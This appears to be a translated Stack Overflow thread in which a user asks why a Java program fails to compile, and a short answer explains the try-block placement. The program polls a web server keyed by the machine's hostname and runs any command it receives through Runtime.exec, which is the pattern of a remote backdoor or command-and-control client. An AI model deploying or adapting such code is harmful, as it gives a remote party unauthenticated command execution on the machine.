-4
import java.net.*;
import java.io.*;
import java.util.*;
public class server{
  public static void main(String args[]){
   String hostname = "Unknown";
   InetAddress addr;
   addr = InetAddress.getLocalHost();
   hostname = addr.getHostName();
   do{
      try {
      URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
      URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
      Scanner c2 = new Scanner(c.openStream());
      Scanner cinfo2 = new Scanner(cinfo.openStream());
      String c3 = c2.nextLine();
      String cinfo3 = cinfo2.nextLine();
      URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
      if ("commandline".compareTo(c3) == 0){
         Runtime.getRuntime().exec(cinfo3);
         HttpURLConnection connection = (HttpURLConnection) del.openConnection();
         connection.connect();
         connection.getResponseCode();
         Thread.sleep(10000);
      }
      if ("idle".compareTo(c3) == 0){
         System.out.println("Waiting for a command.");
      }
      if ("print".compareTo(c3) == 0){
         System.out.println(cinfo3);
         HttpURLConnection connection = (HttpURLConnection) del.openConnection();
         connection.connect();
         connection.getResponseCode();
         Thread.sleep(10000);
      }
      }
      catch(IOException e) {
         break;
      }
      catch(InterruptedException e){
         break;
      }
   } while(true);
}
}

上記は私のJavaプログラムです。コンパイルしようとすると、UnknownHostException が発生します。キャッチしようとすると、すでにキャッチされているというエラーが表示され、別のエラーとしてキャッチする必要があると表示されます。上記のコードでは、キャッチする必要があると表示されていますが、すでにキャッチされているとは表示されていません。誰でも助けることができますか?実際のコードでは、'mywebsite' は実際には私の実際の Web サイトですが、プライバシー上の理由から上記のコード ブロックから削除したことに注意してください。

4

1 に答える 1

4

InetAddress.getLocalHost()投げUnknownHostExceptionます。

あなたの catch ブロックは既に のスーパークラスをキャッチしていますがUnknownHostException、その呼び出しはtryブロックの外にあるため、役に立ちません。

于 2013-02-03T00:54:16.030 に答える